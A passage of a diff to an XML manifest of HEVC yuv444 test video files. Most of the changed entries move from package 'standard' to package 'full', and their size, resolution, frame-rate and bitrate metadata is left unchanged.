-    <value>mime=video/hevc,size=20264,width=512,height=288,frame-rate=50,profile=,level=,bitrate=236720,package=standard</value>
+    <value>mime=video/hevc,size=20264,width=512,height=288,frame-rate=50,profile=,level=,bitrate=236720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_512x384p50f32_300kbps.mp4">
-    <value>mime=video/hevc,size=27628,width=512,height=384,frame-rate=50,profile=,level=,bitrate=328768,package=standard</value>
+    <value>mime=video/hevc,size=27628,width=512,height=384,frame-rate=50,profile=,level=,bitrate=328768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_512x512p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=41888,width=512,height=512,frame-rate=50,profile=,level=,bitrate=507024,package=standard</value>
+    <value>mime=video/hevc,size=41888,width=512,height=512,frame-rate=50,profile=,level=,bitrate=507024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_528x704p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=57262,width=528,height=704,frame-rate=50,profile=,level=,bitrate=699200,package=standard</value>
+    <value>mime=video/hevc,size=57262,width=528,height=704,frame-rate=50,profile=,level=,bitrate=699200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_576x1024p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=87501,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1077280,package=standard</value>
+    <value>mime=video/hevc,size=87501,width=576,height=1024,frame-rate=50,profile=,level=,bitrate=1077280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_576x704p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64545,width=576,height=704,frame-rate=50,profile=,level=,bitrate=790232,package=standard</value>
+    <value>mime=video/hevc,size=64545,width=576,height=704,frame-rate=50,profile=,level=,bitrate=790232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_576x720p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64992,width=576,height=720,frame-rate=50,profile=,level=,bitrate=795824,package=standard</value>
+    <value>mime=video/hevc,size=64992,width=576,height=720,frame-rate=50,profile=,level=,bitrate=795824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_600x800p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=71207,width=600,height=800,frame-rate=50,profile=,level=,bitrate=873512,package=standard</value>
+    <value>mime=video/hevc,size=71207,width=600,height=800,frame-rate=50,profile=,level=,bitrate=873512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_636x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34992,width=636,height=358,frame-rate=50,profile=,level=,bitrate=420808,package=standard</value>
+    <value>mime=video/hevc,size=34992,width=636,height=358,frame-rate=50,profile=,level=,bitrate=420808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_636x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=35001,width=636,height=360,frame-rate=50,profile=,level=,bitrate=420920,package=standard</value>
+    <value>mime=video/hevc,size=35001,width=636,height=360,frame-rate=50,profile=,level=,bitrate=420920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_638x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34528,width=638,height=356,frame-rate=50,profile=,level=,bitrate=415008,package=standard</value>
+    <value>mime=video/hevc,size=34528,width=638,height=356,frame-rate=50,profile=,level=,bitrate=415008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_638x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34649,width=638,height=360,frame-rate=50,profile=,level=,bitrate=416536,package=standard</value>
+    <value>mime=video/hevc,size=34649,width=638,height=360,frame-rate=50,profile=,level=,bitrate=416536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x356p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34575,width=640,height=356,frame-rate=50,profile=,level=,bitrate=415600,package=standard</value>
+    <value>mime=video/hevc,size=34575,width=640,height=356,frame-rate=50,profile=,level=,bitrate=415600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x358p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34521,width=640,height=358,frame-rate=50,profile=,level=,bitrate=414936,package=standard</value>
+    <value>mime=video/hevc,size=34521,width=640,height=358,frame-rate=50,profile=,level=,bitrate=414936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x360p50f32_400kbps.mp4">
-    <value>mime=video/hevc,size=34550,width=640,height=360,frame-rate=50,profile=,level=,bitrate=415296,package=standard</value>
+    <value>mime=video/hevc,size=34550,width=640,height=360,frame-rate=50,profile=,level=,bitrate=415296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=49302,width=640,height=480,frame-rate=50,profile=,level=,bitrate=599696,package=standard</value>
+    <value>mime=video/hevc,size=49302,width=640,height=480,frame-rate=50,profile=,level=,bitrate=599696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x640p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64355,width=640,height=640,frame-rate=50,profile=,level=,bitrate=787856,package=standard</value>
+    <value>mime=video/hevc,size=64355,width=640,height=640,frame-rate=50,profile=,level=,bitrate=787856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x848p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=78595,width=640,height=848,frame-rate=50,profile=,level=,bitrate=966160,package=standard</value>
+    <value>mime=video/hevc,size=78595,width=640,height=848,frame-rate=50,profile=,level=,bitrate=966160,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_640x960p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=94166,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1160600,package=standard</value>
+    <value>mime=video/hevc,size=94166,width=640,height=960,frame-rate=50,profile=,level=,bitrate=1160600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x1080p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17227,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=198872,package=standard</value>
+    <value>mime=video/hevc,size=17227,width=64,height=1080,frame-rate=50,profile=,level=,bitrate=198872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x1280p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17255,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=199320,package=standard</value>
+    <value>mime=video/hevc,size=17255,width=64,height=1280,frame-rate=50,profile=,level=,bitrate=199320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x1920p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17203,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=198768,package=standard</value>
+    <value>mime=video/hevc,size=17203,width=64,height=1920,frame-rate=50,profile=,level=,bitrate=198768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14818,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169472,package=standard</value>
+    <value>mime=video/hevc,size=14818,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x720p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16659,width=64,height=720,frame-rate=50,profile=,level=,bitrate=191768,package=standard</value>
+    <value>mime=video/hevc,size=16659,width=64,height=720,frame-rate=50,profile=,level=,bitrate=191768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_64x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15299,width=64,height=96,frame-rate=50,profile=,level=,bitrate=174984,package=standard</value>
+    <value>mime=video/hevc,size=15299,width=64,height=96,frame-rate=50,profile=,level=,bitrate=174984,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_704x528p50f32_700kbps.mp4">
-    <value>mime=video/hevc,size=56997,width=704,height=528,frame-rate=50,profile=,level=,bitrate=695880,package=standard</value>
+    <value>mime=video/hevc,size=56997,width=704,height=528,frame-rate=50,profile=,level=,bitrate=695880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_704x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64328,width=704,height=576,frame-rate=50,profile=,level=,bitrate=787520,package=standard</value>
+    <value>mime=video/hevc,size=64328,width=704,height=576,frame-rate=50,profile=,level=,bitrate=787520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_704x704p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=72769,width=704,height=704,frame-rate=50,profile=,level=,bitrate=893032,package=standard</value>
+    <value>mime=video/hevc,size=72769,width=704,height=704,frame-rate=50,profile=,level=,bitrate=893032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x1280p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=138408,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1713520,package=standard</value>
+    <value>mime=video/hevc,size=138408,width=720,height=1280,frame-rate=50,profile=,level=,bitrate=1713520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x480p50f32_600kbps.mp4">
-    <value>mime=video/hevc,size=50177,width=720,height=480,frame-rate=50,profile=,level=,bitrate=610632,package=standard</value>
+    <value>mime=video/hevc,size=50177,width=720,height=480,frame-rate=50,profile=,level=,bitrate=610632,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x576p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64454,width=720,height=576,frame-rate=50,profile=,level=,bitrate=789096,package=standard</value>
+    <value>mime=video/hevc,size=64454,width=720,height=576,frame-rate=50,profile=,level=,bitrate=789096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17345,width=720,height=64,frame-rate=50,profile=,level=,bitrate=200248,package=standard</value>
+    <value>mime=video/hevc,size=17345,width=720,height=64,frame-rate=50,profile=,level=,bitrate=200248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x720p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=79960,width=720,height=720,frame-rate=50,profile=,level=,bitrate=982920,package=standard</value>
+    <value>mime=video/hevc,size=79960,width=720,height=720,frame-rate=50,profile=,level=,bitrate=982920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_720x960p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=101974,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1258096,package=standard</value>
+    <value>mime=video/hevc,size=101974,width=720,height=960,frame-rate=50,profile=,level=,bitrate=1258096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_72x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15041,width=72,height=128,frame-rate=50,profile=,level=,bitrate=171544,package=standard</value>
+    <value>mime=video/hevc,size=15041,width=72,height=128,frame-rate=50,profile=,level=,bitrate=171544,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_72x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15252,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174400,package=standard</value>
+    <value>mime=video/hevc,size=15252,width=72,height=96,frame-rate=50,profile=,level=,bitrate=174400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_768x1024p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=117885,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1457080,package=standard</value>
+    <value>mime=video/hevc,size=117885,width=768,height=1024,frame-rate=50,profile=,level=,bitrate=1457080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_800x600p50f32_900kbps.mp4">
-    <value>mime=video/hevc,size=72420,width=800,height=600,frame-rate=50,profile=,level=,bitrate=888672,package=standard</value>
+    <value>mime=video/hevc,size=72420,width=800,height=600,frame-rate=50,profile=,level=,bitrate=888672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_800x800p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=94475,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1164360,package=standard</value>
+    <value>mime=video/hevc,size=94475,width=800,height=800,frame-rate=50,profile=,level=,bitrate=1164360,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_848x480p50f32_800kbps.mp4">
-    <value>mime=video/hevc,size=64487,width=848,height=480,frame-rate=50,profile=,level=,bitrate=789512,package=standard</value>
+    <value>mime=video/hevc,size=64487,width=848,height=480,frame-rate=50,profile=,level=,bitrate=789512,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_848x640p50f32_1000kbps.mp4">
-    <value>mime=video/hevc,size=80353,width=848,height=640,frame-rate=50,profile=,level=,bitrate=987832,package=standard</value>
+    <value>mime=video/hevc,size=80353,width=848,height=640,frame-rate=50,profile=,level=,bitrate=987832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_848x848p50f32_1400kbps.mp4">
-    <value>mime=video/hevc,size=109265,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1349232,package=standard</value>
+    <value>mime=video/hevc,size=109265,width=848,height=848,frame-rate=50,profile=,level=,bitrate=1349232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_960x1280p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=179175,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2223112,package=standard</value>
+    <value>mime=video/hevc,size=179175,width=960,height=1280,frame-rate=50,profile=,level=,bitrate=2223112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_960x1440p50f32_2700kbps.mp4">
-    <value>mime=video/hevc,size=195292,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2424872,package=standard</value>
+    <value>mime=video/hevc,size=195292,width=960,height=1440,frame-rate=50,profile=,level=,bitrate=2424872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_960x640p50f32_1200kbps.mp4">
-    <value>mime=video/hevc,size=94482,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1164448,package=standard</value>
+    <value>mime=video/hevc,size=94482,width=960,height=640,frame-rate=50,profile=,level=,bitrate=1164448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_960x720p50f32_1300kbps.mp4">
-    <value>mime=video/hevc,size=102901,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1269680,package=standard</value>
+    <value>mime=video/hevc,size=102901,width=960,height=720,frame-rate=50,profile=,level=,bitrate=1269680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_960x960p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=139268,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1724272,package=standard</value>
+    <value>mime=video/hevc,size=139268,width=960,height=960,frame-rate=50,profile=,level=,bitrate=1724272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15306,width=96,height=128,frame-rate=50,profile=,level=,bitrate=174856,package=standard</value>
+    <value>mime=video/hevc,size=15306,width=96,height=128,frame-rate=50,profile=,level=,bitrate=174856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x144p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15511,width=96,height=144,frame-rate=50,profile=,level=,bitrate=177424,package=standard</value>
+    <value>mime=video/hevc,size=15511,width=96,height=144,frame-rate=50,profile=,level=,bitrate=177424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x176p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16127,width=96,height=176,frame-rate=50,profile=,level=,bitrate=185024,package=standard</value>
+    <value>mime=video/hevc,size=16127,width=96,height=176,frame-rate=50,profile=,level=,bitrate=185024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14649,width=96,height=64,frame-rate=50,profile=,level=,bitrate=168256,package=standard</value>
+    <value>mime=video/hevc,size=14649,width=96,height=64,frame-rate=50,profile=,level=,bitrate=168256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14292,width=96,height=72,frame-rate=50,profile=,level=,bitrate=162096,package=standard</value>
+    <value>mime=video/hevc,size=14292,width=96,height=72,frame-rate=50,profile=,level=,bitrate=162096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/resolution/crowd_96x96p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15538,width=96,height=96,frame-rate=50,profile=,level=,bitrate=177968,package=standard</value>
+    <value>mime=video/hevc,size=15538,width=96,height=96,frame-rate=50,profile=,level=,bitrate=177968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=321155,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3997856,package=standard</value>
+    <value>mime=video/hevc,size=321155,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3997856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=325006,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4046000,package=standard</value>
+    <value>mime=video/hevc,size=325006,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4046000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=325041,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4046000,package=standard</value>
+    <value>mime=video/hevc,size=325041,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4046000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=1052144,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13134736,package=full</value>
@@ -22623,13 +22623,13 @@
     <value>mime=video/hevc,size=426923,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5310200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=245474,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3041448,package=standard</value>
+    <value>mime=video/hevc,size=245474,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3041448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=286999,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3549344,package=standard</value>
+    <value>mime=video/hevc,size=286999,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3549344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=226785,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2808056,package=standard</value>
+    <value>mime=video/hevc,size=226785,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=2808056,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_1280x720p50f32/crowd_1280x720p50f32_slist_vert_1_255.mp4">
     <value>mime=video/hevc,size=662116,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8254912,package=full</value>
@@ -22683,58 +22683,58 @@
     <value>mime=video/hevc,size=4218886,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=52714832,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=73574,width=640,height=360,frame-rate=50,profile=,level=,bitrate=903096,package=standard</value>
+    <value>mime=video/hevc,size=73574,width=640,height=360,frame-rate=50,profile=,level=,bitrate=903096,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=74130,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=standard</value>
+    <value>mime=video/hevc,size=74130,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=74164,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=standard</value>
+    <value>mime=video/hevc,size=74164,width=640,height=360,frame-rate=50,profile=,level=,bitrate=910048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_flat_1.mp4">
-    <value>mime=video/hevc,size=189010,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2345568,package=standard</value>
+    <value>mime=video/hevc,size=189010,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2345568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=81439,width=640,height=360,frame-rate=50,profile=,level=,bitrate=991648,package=standard</value>
+    <value>mime=video/hevc,size=81439,width=640,height=360,frame-rate=50,profile=,level=,bitrate=991648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=58915,width=640,height=360,frame-rate=50,profile=,level=,bitrate=709472,package=standard</value>
+    <value>mime=video/hevc,size=58915,width=640,height=360,frame-rate=50,profile=,level=,bitrate=709472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=68940,width=640,height=360,frame-rate=50,profile=,level=,bitrate=823608,package=standard</value>
+    <value>mime=video/hevc,size=68940,width=640,height=360,frame-rate=50,profile=,level=,bitrate=823608,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=53470,width=640,height=360,frame-rate=50,profile=,level=,bitrate=641624,package=standard</value>
+    <value>mime=video/hevc,size=53470,width=640,height=360,frame-rate=50,profile=,level=,bitrate=641624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_640x360p50f32/crowd_640x360p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=122010,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1503584,package=standard</value>
+    <value>mime=video/hevc,size=122010,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1503584,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_defslist.mp4">
-    <value>mime=video/hevc,size=151555,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1877848,package=standard</value>
+    <value>mime=video/hevc,size=151555,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1877848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_noslist.mp4">
-    <value>mime=video/hevc,size=153302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1899696,package=standard</value>
+    <value>mime=video/hevc,size=153302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1899696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_16.mp4">
-    <value>mime=video/hevc,size=153337,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1899696,package=standard</value>
+    <value>mime=video/hevc,size=153337,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1899696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_flat_1.mp4">
     <value>mime=video/hevc,size=407853,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5081112,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_16.mp4">
-    <value>mime=video/hevc,size=179756,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2220600,package=standard</value>
+    <value>mime=video/hevc,size=179756,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2220600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_120_136.mp4">
-    <value>mime=video/hevc,size=117533,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1442200,package=standard</value>
+    <value>mime=video/hevc,size=117533,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1442200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_1_255.mp4">
-    <value>mime=video/hevc,size=139890,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1710480,package=standard</value>
+    <value>mime=video/hevc,size=139890,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1710480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_rndm_240_255.mp4">
-    <value>mime=video/hevc,size=106727,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1307320,package=standard</value>
+    <value>mime=video/hevc,size=106727,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1307320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/scaling_list/crowd_854x480p50f32/crowd_854x480p50f32_slist_vert_1_255.mp4">
-    <value>mime=video/hevc,size=260860,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3239208,package=standard</value>
+    <value>mime=video/hevc,size=260860,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3239208,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/slices_tiles/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices.mp4">
     <value>mime=video/hevc,size=3885569,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=24276200,package=full</value>
@@ -22956,166 +22956,166 @@
     <value>mime=video/hevc,size=1282288,width=3712,height=2032,frame-rate=25,profile=,level=,bitrate=8005656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=163289,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6490960,package=standard</value>
+    <value>mime=video/hevc,size=163289,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6490960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=73592,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581912,package=standard</value>
+    <value>mime=video/hevc,size=73592,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=73602,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=standard</value>
+    <value>mime=video/hevc,size=73602,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=73603,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=standard</value>
+    <value>mime=video/hevc,size=73603,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=73604,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=standard</value>
+    <value>mime=video/hevc,size=73604,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=581992,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=89866,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17797000,package=standard</value>
+    <value>mime=video/hevc,size=89866,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17797000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2.mp4">
